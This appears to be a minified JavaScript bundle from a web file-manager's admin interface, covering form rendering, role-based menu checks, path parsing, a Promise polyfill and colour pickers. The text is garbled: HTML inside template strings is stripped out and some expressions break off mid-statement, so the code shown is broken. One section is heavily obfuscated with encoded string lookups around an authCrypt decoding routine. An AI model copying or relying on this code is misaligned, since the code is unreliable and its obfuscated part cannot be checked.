    "+f.htmlEncode(e.groupPath||e.name)}var s=e.nickName||e.name;s=p(e)+s,l+=' ',l+=s,l+='',l+=c(i),l+='
    '}),l+='
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-role select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("roleList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,i){"use strict";var T=function n(e){return e&&e.__esModule?e:{"default":e}}(i(8));var a=i(0);e.exports=function(e){e=e||{};var x="",v=a.$escape,g=e.wrapID,t=e.items,i=e.formTabList,b=e._,C=e.formTab,D=e.ignoreTab,n=e.formTabsName,y=(e.tab,e.tabKey,e.tabName,e.name,e.field,e.key,e.makeAttr),k=(e.data,e.attr,e.prop,e.attrValue,e.window),O=a.$each,K=(e.tabIndex,e.LNG),M=(e.item,e.tabCurrent,e.i,e.itemAttr,e.theTitle,e.hasTitle,e.undefined);e.itemText,e.itemValue,e.theButton,e.buttonKey,e.className,e.buttonAttr,e.value,e.option,e.val,e.k,e.selectItems,e.valArr,e.selectValue,e.selectKey,e.from,e.to,e.step,e.defaultFormat,e.defaultArr,e.valueArr,e.type,e.user,e.group,e.role,e.rowField,e.rowItem,e.rowKey,e.onlyInput,e.inputType,e.makeTitle,e.orgin,e.theAttr,e.titleLeft,e.titleRight,e.info;x+='
    ';i=b.get(t,"formStyle.tabs")||{},C=[],D=b.get(t,"formStyle.ignoreTab","").split(","),n=b.get(t,"formStyle.tabsName",{});b.each(i,function(e,t){if(e){e=e.split(",");e=b.map(e,b.trim);var i=n[t]||t||"";t=t.replace(/\s+/g,"_"),C.push({"name":i,"field":e,"key":t})}});y=function y(e){var t=" ";if("object"!=(void 0===e?"undefined":(0,T["default"])(e)))return t;for(var i in e){var n=e[i];(b.isObject(n)||b.isArray(n))&&(n=k.htmlEncode(k.jsonEncode(n))),t+=i+' = "'+n+'" '}return t};return x+=" ",b.isArray(C)&&0 ',O(C,function(e,t){x+=" ",e&&(x+='
  • ',x+=e.name,x+="
  • "),x+=" "}),x+='
  • ',x+=v(K["common.others"]),x+='
  • '),x+='
    ',x+=a,x+="
    ";else if("html"!=a.type&&a.type){if(x+='
    ',a.display!=M&&(x+='
    ",x+=a.value,x+=" ";else if("codeEditor"==a.type)x+=' ";else if("htmlEditor"==a.type)x+=' ";else if("switch"==a.type)x+=' ";else if("radio"==a.type)x+=" ",O(a.info,function(e,t){x+=' "}),x+=" ";else if("checkbox"==a.type)x+=" ",O(a.info,function(e,t){x+=" ",""==t?(x+=" ",x+=e,x+=" "):(x+=' "),x+=" "}),x+=" ";else if("segment"==a.type)x+='
    ",O(a.info,function(e,t){x+='
    ";else if("button"==a.type)x+=' ',O(a.info,function(e,t){x+=" ";var i=e.className||"btn-default btn-nomal",n=y(e.attr);x+=' "}),x+=" ";else if("select"==a.type&&"optgroup"==a.selectType)x+=' ";else if(b.includes("select/tags/colorLabel/fontIcon/group/role/user/auth/job/userGroup".split("/"),a.type)){x+=' "}else if("slider"==a.type)x+=" ",a.info||(a.info={"from":0,"to":100,"step":1}),x+=' ';else if("color"==a.type)x+=' ';else if("dateTime"==a.type){x+=" ";var c=k.dateFormatGet("timeDay");x+=' ';else if("userSelect"==a.type){x+=" ";var d=a.value&&k.jsonDecode(a.value);d=b.extend({"all":"0","user":"","group":"","role":""},d),a.info=b.extend({"type":"mutil","user":"mutil","group":"mutil","role":"mutil"},a.info),x+='
    ',x+=v(K["common.user"]),x+='
    ",x+=w,x+=" "}x+=' ',"switch"!=a.type&&(x+=' ',x+=a.desc||"",x+=" "),x+='
    '}else x+=" ","formStyle"!=i&&(x+='
    ",b.isUndefined(a.display)?(x+=" ",x+=a.value,x+='
    ',x+=a.desc||"",x+="
    "):(x+='
    ',x+=a.value,x+='
    ',x+=a.desc||"",x+='
    '),x+="
    "),x+=" ";x+=" "}),x+=" ",b.isArray(C)&&0
    '),x+=" "}),x+='
    '),x+='
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(154));t["default"]=ClassBase.extend({"init":function(){var i=this,e=_.filter(n["default"],function(e,t){return!i.allow(t)}),t=_.values(e).join("\n");$.setStyle(t,"role-auth-check")},"allow":function(e){var t=G.user.role;return 1==G.user.isRoot||!!t&&1==t[e]},"adminAuth":function(e){return!this.adminRouteList[e]||(1==G.user.isRoot||("admin"!=e?this.allow(this.adminRouteList[e]):_.some(G.user.role,function(e,t){return 1==e&&_.startsWith(t,"admin.")})))},"adminAuthCheck":function(e){var t=this;e.find("[link-href]").each(function(){var e=$(this).attr("link-href");t.adminAuth(e)||$(this).remove()}),e.find(".divider").each(function(){$(this).next().hasClass("divider")&&$(this).hide()}),e.find(".submenu .menu-items").each(function(){0==$(this).children().length&&$(this).parent().hide()})},"adminRouteList":{"admin":"---","admin/index":"admin.index.dashboard","admin/setting/index":"admin.index.setting","admin/setting/menu":"admin.index.setting","admin/setting/notice":"admin.index.setting","admin/loginCheck":"admin.index.setting","admin/user":"admin.member.list","admin/role":"admin.role.list","admin/job":"admin.job.list","admin/auth":"admin.auth.list","admin/storage/index":"admin.storage.list","admin/storage/backup":"admin.storage.edit","admin/storage/share":"admin.storage.edit","admin/storage/recycle":"admin.storage.edit","admin/plugin":"admin.plugin.list","admin/logLogin":"admin.index.loginLog","admin/log":"admin.index.log","admin/task":"admin.autoTask.list","admin/server":"admin.index.server"}})},,,function(t,i,n){var o=n(12);t.exports=function(t,i,n,a){try{return a?i(o(n)[0],n[1]):i(n)}catch(e){var r=t["return"];throw r!==undefined&&o(r.call(t)),e}}},function(e,t,i){var n=i(21),a=i(4)("iterator"),r=Array.prototype;e.exports=function(e){return e!==undefined&&(n.Array===e||r[a]===e)}},function(t,i,n){var o=n(4)("iterator"),s=!1;try{var a=[7][o]();a["return"]=function(){s=!0},Array.from(a,function(){throw 2})}catch(e){}t.exports=function(t,i){if(!i&&!s)return!1;var n=!1;try{var a=[7],r=a[o]();r.next=function(){return{"done":n=!0}},a[o]=function(){return r},t(a)}catch(e){}return n}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.pathParse=undefined;var o,r,n,s,l,c,a,d,h,u,f,p,w=i(13),m=(o={"name":"","needSort":!0},r=G.io,n={},s=function s(e){if(n[e])return n[e];var t={"type":"","id":!1,"path":e};if(e){var i=e.match(/\{(\w+):?(\d|[-\w]+)?\}(.*)/);i&&(t={"type":"{"+i[1]+"}","id":i[2]||!1,"path":trim(e,"/"),"pathLast":i[3]})}return n[e]=t},l=function x(){var e={"KOD_SOURCE":{},"KOD_USER_RECYCLE":{},"KOD_USER_FAV":{"needSort":!1},"KOD_USER_SHARE":{},"KOD_USER_FILE_TAG":{},"KOD_GROUP_ROOT_SELF":{"needSort":!1},"KOD_USER_FILE_TYPE":{},"KOD_USER_SHARE_TO_ME":{},"KOD_SHARE_ITEM":{},"KOD_SEARCH":{},"KOD_BLOCK":{"needSort":!1},"KOD_IO":{},"KOD_USER_RECENT":{"needSort":!1},"KOD_USER_DRIVER":{}},t={};for(var i in e)if(e.hasOwnProperty(i)){var n=r[i],a=$.extend(!0,{},o);t[e[i].type=n]=$.extend(!0,a,e[i])}return t}(),a=function a(e){var t=e.current||{"path":e.thisPath};return(t=$.objClone(t)).targetType&&(t.parentID="0"),t.ioDriver&&(t.icon="io-"+t.ioDriver.toLowerCase()),t.shareUser&&t.shareID&&(t.icon="shareToMe"),p(t)},d=function d(e){for(var t=rtrim(ltrim(e.parentLevel,",0,"),","),i=trim(e.pathDisplay,"/").replace(/\/+/g,"/").split("/"),n=t.split(","),a=[],r=0;r>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s'+a+y("0x3e7","IBLd");continue}break}},"strReverse":function(e){return e[y("0x3e8","mUv3")]("")[y("0x3e9","QUFJ")]()[y("0x3ea","a1ew")]("")},"encode":function(e,t,n){var a={};a[y("0x3eb","bkz0")]=function(e,t){return e==t},a[y("0x3ec","oy&j")]=function(e,t){return e%t},a[y("0x3ed","zhqu")]=function(e,t){return e+t},a[y("0x3ee","oy&j")]=function(e,t){return e+t},a[y("0x3ef","j85L")]=function(e,t){return e!==t},a[y("0x3f0","kuWo")]=y("0x3f1","m@Eo"),a[y("0x3f2","2MHM")]=y("0x3f3","mx@K"),a[y("0x3f4","J(hy")]=y("0x3f5","Eu#l"),a[y("0x3f6","0XBp")]=y("0x3f7","j85L");try{if(a[y("0x3f8","]z^K")](a[y("0x3f9","]OUH")],a[y("0x3fa","8!7z")]))return this[y("0x3fb","2sjU")](e,t,n);k=a[y("0x3fc","8s5[")](k,mdKey[y("0x3fd","Q7KH")])?0:k;var r=k++;j=a[y("0x3fe","IBLd")](a[y("0x3ff","gz%b")](a[y("0x400","]OUH")](nh,chars[y("0x401","Sv]I")](e[i])),mdKey[r][y("0x402","Bm5%")]()),64),tmp+=chars[j]}catch(o){if(a[y("0x403","IBLd")](a[y("0x404","IBLd")],a[y("0x405","Bm5%")]))return!1;self[y("0x406","BMRG")]($main)}},"decode":function(e,t,i){var n={};n[y("0x407","Eu#l")]=y("0x408","8!7z"),n[y("0x409","nFQc")]=y("0x40a","]z^K"),n[y("0x40b","zhqu")]=function(e,t){return e(t)},n[y("0x40c","N[1p")]=y("0x40d","uWMa"),n[y("0x40e","uWMa")]=y("0x40f","3rwW"),n[y("0x410","L7xF")]=function(e,t){return e-t},n[y("0x411",")SR)")]=function(e,t){return e+t},n[y("0x412","mUv3")]=function(e,t){return e!=t},n[y("0x413","]z^K")]=y("0x414","]OUH"),n[y("0x415","oy&j")]=y("0x416","zhqu"),n[y("0x417","Q7KH")]=function(e,t){return e===t},n[y("0x418","m@Eo")]=y("0x419","2sjU"),n[y("0x41a","zhqu")]=function(e,t){return e!==t},n[y("0x41b","N[1p")]=y("0x41c","Q7KH");try{if(n[y("0x41d","a1ew")](n[y("0x41e","jOpN")],n[y("0x41f","QUFJ")]))return this[y("0x420","m@Eo")](e,t,i);for(var a=n[y("0x421","bkz0")][y("0x422","8!7z")]("|"),r=0;;){switch(a[r++]){case"0":var o=y("0x423","a1ew");continue;case"1":$[y("0x424","jOpN")](y("0x425","3rwW"),n[y("0x426","0XBp")]);continue;case"2":$[y("0x427","3^I%")](o,n[y("0x428","jOpN")]);continue;case"3":n[y("0x429","jOpN")]($,n[y("0x42a","IBLd")])[y("0x42b","]z^K")]();continue;case"4":if(!this[y("0x184","m@Eo")]())return;continue}break}}catch(f){if(!n[y("0x42c","jOpN")](n[y("0x42d","0r@E")],n[y("0x42e","2sjU")]))return!1;for(var s=n[y("0x42f","nFQc")][y("0x3dd","AqQR")]("|"),l=0;;){switch(s[l++]){case"0":var c=n[y("0x430","nFQc")](h[y("0x431","lbCt")],26);continue;case"1":u=d[y("0x432","x$OA")](16,c);continue;case"2":var d=n[y("0x433","N[1p")](base64Decode,this[y("0x434","Bm5%")](G[y("0x435","kuWo")][y("0x436","kuWo")]));continue;case"3":d=this[y("0x437","bkz0")](n[y("0x438","BMRG")](base64Decode,G[y("0x1c3","a1ew")][y("0x439","O**H")]));continue;case"4":h=authCrypt[y("0x43a","ac@T")](d[y("0x43b",")SR)")](n[y("0x43c","lbCt")](16,c)),d[y("0x43d","O**H")](0,16));continue;case"5":if(!h||n[y("0x43e","8s5[")](u,this[y("0x43f","bkz0")]))return this[y("0x440","]z^K")]();continue;case"6":d=authCrypt[y("0x441","]z^K")](d,n[y("0x442","QUFJ")]);continue;case"7":if(!h||n[y("0x443","Eu#l")](u,this[y("0x444","J(hy")]))return this[y("0x203","2sjU")]();continue;case"8":var h=authCrypt[y("0x445","mx@K")](d,n[y("0x446","*3Sy")]);continue;case"9":var u=h[y("0x447","*s0V")](10,c);continue}break}}},"encodeString":function(e,t,i){var n={};n[y("0x448","ac@T")]=y("0x449","j85L"),n[y("0x44a","8s5[")]=y("0x44b","IPm&"),n[y("0x44c","IBLd")]=function(e,t){return e+t},n[y("0x44d","8!7z")]=function(e,t,i){return e(t,i)},n[y("0x44e","]OUH")]=function(e,t){return e(t)},n[y("0x44f","E%qL")]=y("0x450","IPm&"),n[y("0x451","mx@K")]=function(e,t){return e+t},n[y("0x452","*s0V")]=function(e,t){return e(t)},n[y("0x453","8s5[")]=function(e,t){return e(t)},n[y("0x454","m@Eo")]=function(e,t){return e(t)},n[y("0x455","Sow5")]=function(e,t,i){return e(t,i)},n[y("0x456","QUFJ")]=function(e,t){return e+t},n[y("0x457","lbCt")]=function(e,t){return e+t},n[y("0x458","0XBp")]=function(e,t){return e%t},n[y("0x459","ac@T")]=function(e,t){return e+t},n[y("0x45a","2sjU")]=function(e,t){return e=e.length?(this._t=undefined,a(1)):a(0,"keys"==t?i:"values"==t?e[i]:[i,e[i]])},"values"),r.Arguments=r.Array,n("keys"),n("values"),n("entries")},function(e,t){e.exports=function(){}},function(t,i,n){"use strict";function a(){}function u(e){var t;return!(!x(e)||"function"!=typeof(t=e.then))&&t}function r(h,n){if(!h._n){h._n=!0;var a=h._c;y(function(){for(var c=h._v,d=1==h._s,t=0,i=function(t){var i,n,a,r=d?t.ok:t.fail,o=t.resolve,s=t.reject,l=t.domain;try{r?(d||(2==h._h&&R(h),h._h=1),!0===r?i=c:(l&&l.enter(),i=r(c),l&&(l.exit(),a=!0)),i===t.promise?s(_("Promise-chain cycle")):(n=u(i))?n.call(i,o,s):o(i)):s(c)}catch(e){l&&!a&&l.exit(),s(e)}};a.length>t;)i(a[t++]);h._c=[],h._n=!1,n&&!h._h&&P(h)})}}function o(e){var t=this;t._d||(t._d=!0,(t=t._w||t)._v=e,t._s=2,t._a||(t._a=t._c.slice()),r(t,!0))}var s,l,c,d,h=n(28),f=n(3),p=n(16),w=n(40),m=n(7),x=n(9),v=n(25),g=n(60),b=n(35),C=n(67),D=n(68).set,y=n(124)(),k=n(48),O=n(69),K=n(125),M=n(70),T="Promise",_=f.TypeError,A=f.process,S=A&&A.versions,L=S&&S.v8||"",E=f[T],$="process"==w(A),I=l=k.f,N=!!function(){try{var t=E.resolve(1),i=(t.constructor={})[n(4)("species")]=function(e){e(a,a)};return($||"function"==typeof PromiseRejectionEvent)&&t.then(a)instanceof i&&0!==L.indexOf("6.6")&&-1===K.indexOf("Chrome/66")}catch(e){}}(),P=function(r){D.call(f,function(){var e,t,i,n=r._v,a=j(r);if(a&&(e=O(function(){$?A.emit("unhandledRejection",n,r):(t=f.onunhandledrejection)?t({"promise":r,"reason":n}):(i=f.console)&&i.error&&i.error("Unhandled promise rejection",n)}),r._h=$||j(r)?2:1),r._a=undefined,a&&e.e)throw e.v})},j=function(e){return 1!==e._h&&0===(e._a||e._c).length},R=function(t){D.call(f,function(){var e;$?A.emit("rejectionHandled",t):(e=f.onrejectionhandled)&&e({"promise":t,"reason":t._v})})},F=function(i){var n,a=this;if(!a._d){a._d=!0,a=a._w||a;try{if(a===i)throw _("Promise can't be resolved itself");(n=u(i))?y(function(){var t={"_w":a,"_d":!1};try{n.call(i,p(F,t,1),p(o,t,1))}catch(e){o.call(t,e)}}):(a._v=i,a._s=1,r(a,!1))}catch(e){o.call({"_w":a,"_d":!1},e)}}};N||(E=function(e){g(this,E,T,"_h"),v(e),s.call(this);try{e(p(F,this,1),p(o,this,1))}catch(t){o.call(this,t)}},(s=function(e){this._c=[],this._a=undefined,this._s=0,this._d=!1,this._v=undefined,this._h=0,this._n=!1}).prototype=n(61)(E.prototype,{"then":function(e,t){var i=I(C(this,E));return i.ok="function"!=typeof e||e,i.fail="function"==typeof t&&t,i.domain=$?A.domain:undefined,this._c.push(i),this._a&&this._a.push(i),this._s&&r(this,!1),i.promise},"catch":function(e){return this.then(undefined,e)}}),c=function(){var e=new s;this.promise=e,this.resolve=p(F,e,1),this.reject=p(o,e,1)},k.f=I=function(e){return e===E||e===d?new c(e):l(e)}),m(m.G+m.W+m.F*!N,{"Promise":E}),n(30)(E,T),n(83)(T),d=n(1)[T],m(m.S+m.F*!N,T,{"reject":function(e){var t=I(this);return(0,t.reject)(e),t.promise}}),m(m.S+m.F*(h||!N),T,{"resolve":function(e){return M(h&&this===d?E:this,e)}}),m(m.S+m.F*!(N&&n(103)(function(e){E.all(e)["catch"](a)})),T,{"all":function(e){var o=this,t=I(o),s=t.resolve,l=t.reject,i=O(function(){var n=[],a=0,r=1;b(e,!1,function(e){var t=a++,i=!1;n.push(undefined),r++,o.resolve(e).then(function(e){i||(i=!0,n[t]=e,--r||s(n))},l)}),--r||s(n)});return i.e&&l(i.v),t.promise},"race":function(e){var t=this,i=I(t),n=i.reject,a=O(function(){b(e,!1,function(e){t.resolve(e).then(i.resolve,n)})});return a.e&&n(a.v),i.promise}})},function(e,t){e.exports=function(e,t,i){var n=i===undefined;switch(t.length){case 0:return n?e():e.call(i);case 1:return n?e(t[0]):e.call(i,t[0]);case 2:return n?e(t[0],t[1]):e.call(i,t[0],t[1]);case 3:return n?e(t[0],t[1],t[2]):e.call(i,t[0],t[1],t[2]);case 4:return n?e(t[0],t[1],t[2],t[3]):e.call(i,t[0],t[1],t[2],t[3])}return e.apply(i,t)}},function(t,i,n){var l=n(3),c=n(68).set,d=l.MutationObserver||l.WebKitMutationObserver,h=l.process,u=l.Promise,f="process"==n(24)(h);t.exports=function(){function t(){var t,i;for(f&&(t=h.domain)&&t.exit();n;){i=n.fn,n=n.next;try{i()}catch(e){throw n?r():a=undefined,e}}a=undefined,t&&t.enter()}var n,a,r;if(f)r=function(){h.nextTick(t)};else if(!d||l.navigator&&l.navigator.standalone)if(u&&u.resolve){var i=u.resolve(undefined);r=function(){i.then(t)}}else r=function(){c.call(l,t)};else{var o=!0,s=document.createTextNode("");new d(t).observe(s,{"characterData":!0}),r=function(){s.data=o=!o}}return function(e){var t={"fn":e,"next":undefined};a&&(a.next=t),n||(n=t,r()),a=t}}},function(e,t,i){var n=i(3).navigator;e.exports=n&&n.userAgent||""},function(e,t,i){"use strict";var n=i(7),a=i(1),r=i(3),o=i(67),s=i(70);n(n.P+n.R,"Promise",{"finally":function(t){var i=o(this,a.Promise||r.Promise),e="function"==typeof t;return this.then(e?function(e){return s(i,t()).then(function(){return e})}:t,e?function(e){return s(i,t()).then(function(){throw e})}:t)}})},function(e,t,i){"use strict";var n=i(7),a=i(48),r=i(69);n(n.S,"Promise",{"try":function(e){var t=a.f(this),i=r(e);return(i.e?t.reject:t.resolve)(i.v),t.promise}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){n(),a(),r(),l(),o(),Events.trigger("windowReady");var e=document.createEvent("CustomEvent");e.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(e)};var n=function n(){if($.fn.perfectScroll){var e=function e(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",e),$(window).bind("scoller",e)}},a=function a(){if(!$.isWindowTouch()&&$.fn.poshytip){var e=$("[title]");e.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},"content":function(e){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||e.hasClass("disable")||e.hasClass("disable-title"))){e.addClass("yellow");var t=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));t=i.is("input")||i.is("textarea")?i.val():i.html()}return-1==(t=t||"").indexOf("<")&&-1==t.indexOf(">")&&(t=t.replace(/\n/g,"
    ")),t}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(e).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(e).poshytip("hide"),$(".ptips-skin").remove())})}},r=function r(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},s=function s(){if(!$.isWindowTouch()){var e=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":e,"delegate":"body"})}},l=function l(){var e="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(e="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(e,".disable-ripple,.disabled,.disable,.ztree"),s(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(e){return stopPP(e)}),window.API_HOST){$("body").delegate("[link-href]","click",function(e){return o(e,"")}),$("body").delegate("a","click",function(e){"#"==$(this).attr("href")&&e.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(e){if(2==e.which)return o(e,"_blank")});var o=function o(e,t){var i=$(e.currentTarget),n=i.attr("link-href")||"#",a=(t=t||i.attr("target"),_.startsWith(n,"http://")||_.startsWith(n,"https://")),r=n;if(!a){if(n.startsWith("/")||n.startsWith("./"))return 2==e.which||"_blank"==t?window.open(r):void(window.location.href=n);r=$.parseUrl().urlPath+("#"==n?"":"#"+n)}return i.attr("dialog-open")||"dialog"==t?core.openDialog(r,"",htmlEncode(i.text())):a?void("_blank"==t?window.open(r):window.location.href=r):2==e.which||"_blank"==t?window.open(r):void Router.go(n)}}},o=function o(){$.fn.tabCurrent=function(){var e=$(this);if(!e||0==e.length)return this;var t=e.parent(),i=e.outerWidth(),n=e.offset().left-t.offset().left,a=t.children(".tab-item-bar");if(0==a.length)return this;a.data("initTab")||(a.data("initTab",1),a.addClass("no-animate opacity-hidden"),setTimeout(function(){a.removeClass("opacity-hidden"),t.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){t.children(".tab-item").filter(".active").tabCurrent(),a.removeClass("no-animate")},300)),i=1*e.width(),n+=(e.outerWidth()-i)/2;var r=t.offset().top+t.outerHeight(),o=e.offset().top+e.outerHeight(),s={"width":i+"px","left":n+"px","transform":"translate3d(0px,-"+Math.abs(r-o+1)+"px, 0px)"};a.css(s),t.children(".tab-item").removeClass("active"),e.addClass("active");var l=t.parent().children(".tab-group-pan").children(".tab-content");if(0!=l.length){var c=l.filter(":visible"),d=l.filter("."+e.attr("tab-name"));c.switchTo(d)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var e=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",e),$.isWindowTouch()&&c()},c=function c(){}},function(t,i){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}t.exports=n},function(e,t,i){var n=i(9);e.exports=function(e,t){if(!n(e)||e._t!==t)throw TypeError("Incompatible receiver, "+t+" required!");return e}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","display":LNG["explorer.app.name"],"require":1,"attr":{"placeholder":LNG["explorer.app.nameDesc"]}},"desc":{"type":"input","display":LNG["explorer.app.desc"],"attr":{"placeholder":LNG["explorer.app.descDesc"]}},"group":{"type":"select","display":LNG["explorer.app.group"],"attr":{"placeholder":LNG["common.select"]},"info":{},"require":1},"type":{"type":"segment","value":"url","className":"hide","display":LNG["explorer.app.appType"],"info":{"url":""+LNG["explorer.app.website"],"js":""+LNG["explorer.app.code"]},"switchItem":{"path":"value-path,pathType","url":"value-url,openType","js":"value-js"}},"icon":{"type":"fileSelect","display":LNG["explorer.app.imgIcon"],"value":"oexe.png","info":{"single":"1","type":"file","makeUrl":"1","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]}},"sep003":"
    ","value-path":{"type":"input","display":LNG["explorer.app.path"],"desc":"
    "+LNG["explorer.app.pathDesc"]+"
    "},"pathType":{"type":"hide","value":"folder","className":"hide"},"ext":{"type":"hide","className":"hide"},"value-url":{"type":"input","display":LNG["explorer.app.link"],"require":1,"attr":{"placeholder":LNG["explorer.app.linkDesc"]}},"openType":{"type":"segment","value":"window","display":LNG["explorer.app.openType"],"info":{"window":""+LNG["explorer.app.openWindow"],"dialog":""+LNG["explorer.app.openDialog"]},"switchItem":{"window":"","dialog":"width,height,resize,simple"}},"width":{"type":"input","display":LNG["explorer.app.dialogSize"],"value":"80%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.with"]},"height":{"type":"input","value":"70%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.height"]},"sep002":"
    ","resize":{"type":"checkbox","display":LNG["explorer.app.moreSet"],"value":"1","className":"inline","info":{"1":LNG["explorer.app.canDiyWith"]}},"simple":{"type":"checkbox","value":"0","className":"inline","info":{"1":LNG["explorer.app.miniBlock"]}},"value-js":{"type":"codeEditor","display":LNG["explorer.app.runCode"],"className":"clear","require":1,"attr":{"data-ext":"js","data-theme":"tomorrow","style":"height:180px;","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"setValue":function(e,t){e.parent().find('button[data-value="'+t+'"]').click()},"bindForm":function(e){var t=this.$(".form-button button"),a="active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first().find("input"),i=$(this).attr("data-value"),n=_.filter(t.val().split(","));$(this).hasClass(a)?(n=_.pull(n,i),$(this).removeClass(a)):(n.push(i),$(this).addClass(a)),t.val(n.join(",")).trigger("change")}),e&&e()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(5)),r=o(i(6));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"city-picker/city-picker.data"]);case 2:return e.next=4,requirePromise([VENDER_PATH+"city-picker/css/city-picker.css",VENDER_PATH+"city-picker/city-picker"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return","");case 6:this.$(".form-cityPicker input").each(function(){var e=$(this);e.css("width",e.width()),e.citypicker()}),this.bind("onRemove",function(){this.$(".form-cityPicker input").citypicker("destroy")}),t&&t();case 9:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.val(t).trigger("change")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"loadFile":function(e){requireAsync([VENDER_PATH+"colorpicker/pickr.min.js",VENDER_PATH+"colorpicker/nano.min.css"],e)},"bindForm":function(t){var i=this;this.loadFile(function(){var e=this.$(".form-color");e.find("input + .btn").bind("click",function(){$(this).prev().click()}),e.each(function(){i.bindColorItem($(this))}),t&&t()})},"bindColorItem":function(e){var n=e.find("input"),a=e.find(".color-picker-view .font-icon"),t=Pickr&&Pickr.create({"el":e.find(".color-picker-view").get(0),"theme":"nano","position":"top-start","useAsButton":!0,"default":n.val()||"#000000","swatches":["#FFFFFF","#cfd8dc","#ffccbc","#ffecb3","#fff9c4","#dcedc8","#b2ebf2","#e6f7ff","#d1c4e9","#D9D9D9","#90a4ae","#ff8a65","#ffd54f","#fff176","#aed581","#4dd0e1","#91d5ff","#9575cd","#969696","#607d8b","#ff5722","#ffc107","#ffeb3b","#8bc34a","#00bcd4","#40a9ff","#673ab7","#525252","#455a64","#e64a19","#ffa000","#fbc02d","#689f38","#0097a7","#1890ff","#512da8","#000000","#263238","#bf360c","#ff6f00","#f57f17","#33691e","#006064","#006dd2","#311b92"],"components":{"preview":!0,"opacity":!0,"hue":!0,"interaction":{"hex":1,"rgba":1,"hsla":0,"hsva":0,"cmyk":0,"input":1,"clear":0,"save":0}}});t=t||{"on":$.noop,"show":$.noop,"setColor":$.noop};var r=timeFloat();t.on("change",function(e,t){if(!(timeFloat()-r<.015)){var i=e.toHEXA().toString();n.val(i).trigger("change"),a.css("color",i)}}),n.data("picker",t),n.bind("focus mousedown mouseup",function(){t.show()}).bind("paste keyup",function(){r=timeFloat();var e=$(this).val();t.setColor(e),a.css("color",e)}),this.bind("onRemove",function(){t.destroyAndRemove()})},"setValue":function(e,t){var i=e.parent().find(".color-picker-view .font-icon");e.val(t).trigger("change"),i.css("color",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-colorLabel select","init":function(){},"selectDataMake":function(e,t,i){this.loadData(e),i()},"loadData":function(t){for(var n=[],e="grey,red,orange,yellow,green,cyan,blue,purple,pink".split(","),i="light,normal,deep".split(","),a=0;a';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(5)),r=o(i(6));function o(e){return 